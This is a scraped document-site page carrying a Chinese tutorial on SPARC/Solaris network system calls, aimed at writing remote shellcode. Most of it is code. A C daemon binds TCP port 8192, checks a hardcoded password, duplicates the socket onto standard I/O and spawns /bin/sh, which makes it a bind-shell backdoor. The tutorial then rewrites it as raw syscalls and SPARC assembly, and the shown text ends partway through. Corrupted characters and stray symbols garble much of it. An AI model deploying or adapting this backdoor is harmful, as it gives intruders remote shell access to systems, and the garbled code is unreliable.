SPARCSolaris下的网络系统调用 电脑资料_第1页
SPARCSolaris下的网络系统调用 电脑资料_第2页
SPARCSolaris下的网络系统调用 电脑资料_第3页
SPARCSolaris下的网络系统调用 电脑资料_第4页
SPARCSolaris下的网络系统调用 电脑资料_第5页
已阅读5页,还剩45页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SPARCSolaris下的网络系统调用 电脑资料 无论从感染ELF文件来说还是编写远程shellcode角度来说都有需要研究SPARC/Solaris下 的网络系统调用, - /* g -g -ggdb -o s s.c -lsocket */ #include #include #include #include int s, c; struct sockaddr_in serv_addr; char * name2; char pass9 = xxxxxxxx; int main ( int argc, char * argv ) if ( fork() = 0 ) /* 子进程 */ &n! bsp; setsid(); /* bee session leader */ signal( SIGHUP, SIG_IGN ); if ( fork() = 0 ) /* 子进程 */ serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x2000; / 端口8192 / 创建TCP套接字,这里与Linux有区别 s ! &n! bsp;&nbs p; = socket( 2, 2, 6 ); bind( s, ( struct sockaddr * )&serv_addr, 0x10 ); listen( s, 1 ); signal( SIGCHLD, SIG_IGN ); while ( 1 ) c = aept( s, 0, 0 ); if ( fork() = 0 ) /* 子进程 */ ! close( s ); /* 用c进行通信,做一次弱验证保护 */ while ( strcmp( pass, 12345678 ) != 0 ) read( c, pass, 8 ); / 准备输入输出重定向,标准技术 &! nbsp; &nb! sp; ; dup2( c, 0 ); dup2( c, 1 ); dup2( c, 2 ); close( c ); /* 这里可以关闭c */ name0 = /bin/sh; name1 = 0; execve( name0, name, 0 ); ! exit( 0 ); /* 防止execve()失败 */ close( c ); /* 这里必须关闭c */ /* end of while */ return( 0 ); /* 父进程 */ /* end of main */ - 该程序只能编译成动态版本,如果指定-static,发现 scz /space/staff/scz/src g -g -ggdb -static -o s s.c -lsocket 未定义符号 在文件中 endconfig ! /usr/lib! /libsock et.a(_soutil.o) setconfig /usr/lib/libsocket.a(_soutil.o) getconfig /usr/lib/libsocket.a(_soutil.o) ld: 致命的: 符号参照错误. 没有输出被写入s scz /space/staff/scz/src 我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝 /usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后 链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部 符号无着落的问题。 大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在 浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用 truss跟踪。适当调整上述代码,用truss跟踪后有如下内容: setsid() &n! bsp; = 2260 sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0 so_socket(2, 2, 6, , 1) = 3 bind(3, 0x00021E60, 16) = 0 listen(3, 1) = 0 sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0 aept(3, 0x00000000, 0x00000000) (sleeping.) 这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到 静态版本! 主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行! 相对 底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可 以抛弃-lsocket链接开关了,这只猪害人不浅。 关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我 们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有: setsid() = syscall( 39, 3 ) = syscall( SYS_pgrpsys, 3 ) 显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接 利用syscall完成。 - / g -g -ggdb -static -o s s.c / 使用syscall之后,可以抛弃-lsocket链接开关 / 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关 / 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈 #include #include #include #include #include #include int &! nbsp; s, c; struct sockaddr_in serv_addr; char * name2; char pass9 = xxxxxxxx; int main ( int argc, char * argv ) if ( fork() = 0 ) /* 子进程 */ / setsid(); /* bee session leader */ / SYS_pgrpsys syscall( 39, 3 ); / signal( SIGHUP, SIG_IGN ); / SYS_signal syscall( 48, 1, 1 ); if ( fork() = 0 ) /* 子进程 */ &nbs! p; &! nbsp;&nb sp; serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; / 使用big endian序 serv_addr.sin_port = 0x2000; / 端口8192 / 创建TCP套接字,这里与Linux有区别 / s = socket( 2, 2, 6 ); / SYS_so_socket &nb! sp; s = syscall( 230, 2, 2, 6 ); / bind( s, ( struct sockaddr * )&serv_addr, 0x10 ); / SYS_bind syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ); / listen( s, 1 ); / SYS_listen syscall( 233, s, 1 ); / signal( SIGCHLD, SIG_IGN ); ! ; syscall( 48, 18, 1 ); ! &n bsp; while ( 1 ) / c = aept( s, 0, 0 ); / SYS_aept c = syscall( 234, s, 0, 0 ); if ( fork() = 0 ) /* 子进程 */ / close( s ); &n! bsp; / SYS_close syscall( 6, s ); /* 用c进行通信,做一次弱验证保护 */ while ( strcmp( pass, 12345678 ) != 0 ) / read( c, pass, 8 ); / SYS_read &nbs! p; ! &n bsp; syscall( 3, c, pass, 8 ); / 准备输入输出重定向,标准技术 / dup2( c, 0 ); / dup2( c, 1 ); / dup2( c, 2 ); / SPARC/Solaris没有单独实现dup2,而是用ftl实现 ! ; / 有点其他问题,请参看APUE,天晓得发生了什么 / syscall( SYS_ftl, c, F_DUP2FD, 0 ); syscall( 62, c, 9, 0 ); syscall( 62, c, 9, 1 ); syscall( 62, c, 9, 2 ); / close( c ); /* 这里可以关闭c */ &n! bsp; syscall( 6, c ); &n! bsp;&nbs p; name0 = /bin/sh; name1 = 0; execve( name0, name, 0 ); / exit( 0 ); /* 防止execve()失败 */ / SYS_exit syscall( 1, 0 ); ! ; / close( c ); /* 这里必须关闭c */ syscall( 6, c ); /* end of while */ return( 0 ); /* 父进程 */ /* end of main */ - 对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本 上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不 同了。 - 0x101c0 : call 0x1267c 0x101c4 &n! bsp; : nop 0x101c8 ain+20& nbsp; : cmp %o0, 0 0x101 : bne 0x10434 0x101d0 : nop 0x131c4 : mov 2, %g1 ! 0x2 0x131c8 : ta 8 0x131 : b 0x131e0 0x131d0 : sethi %hi(0x16000), %o5 0x131d4 : or %o5, 0x90, %o5 ! 0x16090 0x131d8 : jmp %o5 0x131dc : nop 0x131e0 : tst %o1 0x131e4 : bne,a 0x131ec 0x131e8 ;_libc_fork+36: mov %g0, %o0 0x131ec : retl 0x131f0 : nop - 综合判断后提炼如下: - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示是子进程 bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽,注意理解延迟插? 鄣闹葱兴承?br ! ;call&nb sp; .+8 nop nop ! 需要替换,此时%o0为0,子进程继续 ); /* end of main */ - 可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提 到fork()失败会返回-1。 下面来观察syscall( 39, 3 ): - 0x101d4 : mov 0x27, %o0 ! 0x27 0x101d8 : mov 3, %o1 0x101dc : call 0x10fec 0x101e0 : nop 0x10fec : clr %g1 0x10! ff0 : ta 8 0x10ff4 : b 0x11008 0x10ff8 : sethi %hi(0x16000), %o5 0x10ffc : or %o5, 0x90, %o5 ! 0x16090 0x11000 : jmp %o5 0x11004 : nop 0x11008 : retl 0x1100c : nop - 综合判断后提炼如下: - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 0x27, %o0 ! ;mov 3, %o1 ! ; & nbsp;clr %g1 ta 8 ); /* end of main */ - 同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。 下面来观察syscall( 48, 1, 1 ): - 0x101e4 : mov 0x30, %o0 ! 0x30 0x101e8 : mov 1, %o1 0x101ec : mov 1, %o2 0x101f0 : call 0x10fec 0x101f4 : nop - 综合判断后提炼如下: -! - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 0x30, %o0 mov 1, %o1 mov 1, %o2 clr %g1 ta 8 ); /* end of main */ - 有了上面的研究基础,下面直接编写syscall( 1, 0 ): - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ &nb! sp; ( ! &n bsp;mov 0x01, %o0 clr %o1 clr %g1 ta 8 ); /* end of main */ - ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon 框架: - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示? 亲咏?br bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽 call exit nop mov 0x27, %o0 ! 此前%o0为0,子进程继续 mov 3, %o1 clr %g1 ta 8 mov 0x30, %o0 mov 1, %o1 mov 1, %o2 clr %g1 &nbs! p; ta 8 & nbsp; mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示是子进程 bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽 call exit nop exit: mov 0x01, %o0 clr %o1 clr %g1 ta 8 ); /* end of main */ br- 哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。 接下来观察s = syscall( 230, 2, 2, 6 ): - 0x10244 : mov 0xe6, %o0 0x10248 : mov 2, %o1 0x1024c : mov 2, %o2 0x10250 : mov 6, %o3 0x10254 : call 0x10fec 0x10258 : nop 0x1025c : sethi %hi(0x27800), %o1 0x10260 : st %o0, %o1 + 0x1b4 ! 0x279b4 -! - 从这里可以看出s由%o0返回,? 溆嗟亩杂 谖颐且丫不新鲜了?br - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 0xe6, %o0 mov 0x02, %o1 mov 0x02, %o2 mov 0x06, %o3 clr %g1 ta 8 st %o0, %l7 ! %l7 存放s ); /* end of main */ - 如果去掉最后的st? 噶睿可以用truss ./asm检验效果,最后的st指令是保存s的意思, 这里假设%l7已经指向正确的内存空间。 接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ): - 0x1020c : sethi %hi(0x27800), %o0 0x10210 : mov 2, %o1 0x10214 : sth %o1, %o0 + 0x1b8 ! serv_addr.sin_family = 2; 0x10218 : sethi %hi(0x27800), %o0 0x1021c : mov 4, %o1 0x10220 : or %o0, 0x1b8, %o2 ! 0x279b8 0x10224 : add %o1, %o2, %o0 ! 0x279bc 0x10228 :&nbs! p; clr %o0 &n! bsp;&nbs p; ! serv_addr.sin_addr.s_addr = 0; 0x1022c : sethi %hi(0x27800), %o0 0x10230 : mov 2, %o1 0x10234 : or %o0, 0x1b8, %o2 ! 0x279b8 0x10238 : add %o1, %o2, %o0 ! 0x279ba 0x1023c : sethi %hi(0x2000), %o1 0x10240 : sth %o1, %o0 ! serv_addr.sin_port = 0x2000; 0x10264 : sethi %hi(0x27800), %o1 0x10268 : mov 0xe8, %o0 0x1026c : ld %o1 + 0x! 1b4 , %o1 ! %o1设置成s 0x10270 : sethi %hi(0x27800), %o3 0x10274 : or %o3, 0x1b8, %o2 ! 0x279b8 0x10278 : mov 0x10, %o3 ! 16 0x1027c : call 0x10fec 0x10280 : nop - 这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下: - /* g -o asm asm.c */ int main ( int argc, char * argv ) _asm_ ( mov 2, %o1 ! sth %o1, %l7 + 0x04 &nb! sp;! ser v_addr.sin_family clr %l7 + 0x08 ! serv_addr.sin_addr.s_addr sethi %hi(0x2000), %o1 sth %o1, %l7 + 0x06 ! serv_addr.sin_port mov 0xe8, %o0 ! 第一个参数232 ld %l7 , %o1 ! 第二个参数s mov 4, %o2 add %l7, %o2

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论